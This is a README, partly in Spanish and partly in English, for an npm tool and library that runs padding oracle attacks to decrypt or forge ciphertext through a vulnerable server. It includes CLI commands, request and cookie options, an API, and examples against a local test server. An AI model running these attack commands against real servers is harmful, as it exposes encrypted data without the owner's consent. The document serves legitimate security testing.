Herramienta CLI y librería para ejecutar fácilmente ataques padding oracle (‘oráculo de relleno‘), con soporte para solicitudes de red concurrentes y una elegante interfaz de usuario.
Esta vulnerabilidad no está relacionada con la base de datos Oracle ni con la Compañía Oracle de ninguna manera. En criptografía, un ‘oráculo‘ es un sistema que realiza acciones criptográficas al tomar ciertas entradas. Por lo tanto, un ‘oráculo de relleno‘ es un tipo de sistema que toma datos cifrados del usuario, los descifra y verifica si el relleno es correcto o no.

Instalar
Asegúrate de que Node.js esté instalado, y luego ejecuta:
$ npm install --global padding-oracle-attacker
o
$ yarn global add padding-oracle-attacker
Uso en CLI
Usage
$ padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options]
$ padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> <plaintext> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> hex:<plaintext_hex> <block_size> <error> [options]
$ padding-oracle-attacker analyze <url> [<block_size>] [options]
Commands
decrypt Finds the plaintext (foobar) for given ciphertext (hex:0123abcd)
encrypt Finds the ciphertext (hex:abcd1234) for given plaintext (foo=bar)
analyze Helps find out if the URL is vulnerable or not, and
how the response differs when a decryption error occurs
(for the <error> argument)
Arguments
<url> URL to attack. Payload will be inserted at the end by default. To specify
a custom injection point, include {POPAYLOAD} in a header (-H),
request body (-d) or the URL
<block_size> Block size used by the encryption algorithm on the server
<error> The string present in response when decryption fails on the server.
Specify a string present in the HTTP response body (like PaddingException)
or status code of the HTTP response (like 400)
Options
-c, --concurrency Requests to be sent concurrently [default: 128]
--disable-cache Disable network cache. Saved to [default: false]
poattack-cache.json.gz.txt by default
-X, --method HTTP method to use while making request [default: GET]
-H, --header Headers to be sent with request.
-H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1'
-d, --data Request body
JSON string: {"id": 101, "foo": "bar"}
URL encoded: id=101&foo=bar
Make sure to specify the Content-Type header.
-e, --payload-encoding Ciphertext payload encoding for {POPAYLOAD} [default: hex]
base64 FooBar+/=
base64-urlsafe FooBar-_
hex deadbeef
hex-uppercase DEADBEEF
base64(xyz) Custom base64 ('xyz' represent characters for '+/=')
--dont-urlencode-payload Don't URL encode {POPAYLOAD} [default: false]
--start-from-1st-block Start processing from the first block instead [default: false]
of the last (only works with decrypt mode)
Examples
$ poattack decrypt http://localhost:2020/decrypt?ciphertext=
hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9
16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400
$ poattack analyze http://localhost:2020/decrypt?ciphertext=
Aliases
poattack
padding-oracle-attack
Librería API
const { decrypt, encrypt } = require('padding-oracle-attacker')
// or
import { decrypt, encrypt } from 'padding-oracle-attacker'
const { blockCount, totalSize, foundBytes, interBytes } = await decrypt(options)
const { blockCount, totalSize, foundBytes, interBytes, finalRequest } = await encrypt(options)
decrypt(options: Object): Promise
encrypt(options: Object): Promise
Opciones requeridas
concurrency: number = 128
Las solicitudes de la red deben enviarse simultáneamente.
isCacheEnabled: boolean = true
Las respuestas se almacenan en la memoria caché por defecto y se guardan en poattack-cache.json.gz.txt
. Establecer en false
para desactivar el cacheo.
requestOptions: { method, headers, data }
requestOptions.method: string
Método HTTP a utilizar al hacer la solicitud. GET
por defecto. POST
, PUT
, DELETE
son algunas opciones válidas.
requestOptions.headers: { string: string }
Los encabezados se enviarán con la solicitud. Ejemplo: { 'Content-Type': 'application/x-www-form-urlencoded' }
requestOptions.body: string
Request body. Puede ser una cadena de JSON, parámetros codificados en la URL, etc. El encabezado de Content-Type
tiene que ser establecido manualmente.
logMode: 'full'|'minimal'|'none' = 'full'
full
: Registra todo en la consola (por defecto)minimal
: Sólo se registran después del inicio y la finalización en la consolanone
: No hay nada que registrar en la consola
transformPayload: (ciphertext: Buffer) => string
Función para convertir el ciphertext
en una cadena al hacer una solicitud. Por defecto, ciphertext
se codifica en hexadecimal y se inserta en el punto de inyección (URL final a menos que {POPAYLOAD}
esté presente).
Opciones opcionales (sólo descifrar)
alreadyFound: Buffer
Bytes de texto plano ya conocidos/encontrados que pueden ser salteados (desde el final). Si se proporciona un Buffer de diez bytes, los últimos diez bytes serán salteados.
initFirstPayloadBlockWithOrigBytes: boolean = false
Iniciar el primer bloque de payload con bytes de ciphertext
originales en lugar de ceros.
Ejemplo: abcdef12345678ff 1111111111111111
en lugar de 00000000000000ff 1111111111111111
startFromFirstBlock: boolean = false
Empieza a procesar desde el primer bloque en lugar del último.
makeInitialRequest: boolean = true
Realizar una solicitud inicial con el ciphertext
original proporcionado y registrar la respuesta del servidor a la consola para permitir al usuario asegurarse de que las solicitudes de la red se envían correctamente.
Opciones opcionales (sólo cifrar)
makeFinalRequest: boolean = true
Después de encontrar los bytes de ciphertext
para el nuevo plaintext
, realiza una solicitud final con los bytes encontrados y registra la respuesta del servidor en la consola.
lastCiphertextBlock: Buffer
ciphertext personalizado para el último bloque. El último bloque es sólo ceros por defecto (000000000000000
).
Desarrollando
padding-oracle-attacker
está escrito en TypeScript. Si quieres modificar los archivos de origen y ejecutarlos, puedes compilarlos primero en JS y ejecutarlos usando un node, o usar ts-node.
Ejemplo: yarn build
then node dist/cli ...
o simplemente ts-node src/cli ...
yarn build o npm run build
Construye los archivos TypeScript dentro del directorio src
a los archivos JS y los envía al directorio dist
.
yarn clean o npm run clean
yarn lint o npm run lint
Linta los archivos usando eslint.
yarn test o npm run test
Linta y ejecuta las pruebas con ava.
node test/helpers/vulnerable-server.js
Ejecuta el servidor de pruebas que es vulnerable a ataques de padding oracle en http://localhost:2020
Relacionado
- PadBuster (Perl)
- Padding Oracle Attack (Python)
- python-paddingoracle (Python)
- Poracle (Ruby)
- GoPaddy (Go)
- pax (Go)
Licencia
padding-oracle-attacker (este enlace se abre en una nueva ventana) por KishanBagaria (este enlace se abre en una nueva ventana)
🔓 CLI tool and library to execute padding oracle attacks easily, with support for concurrent network requests and an elegant UI.
MIT © Kishan Bagaria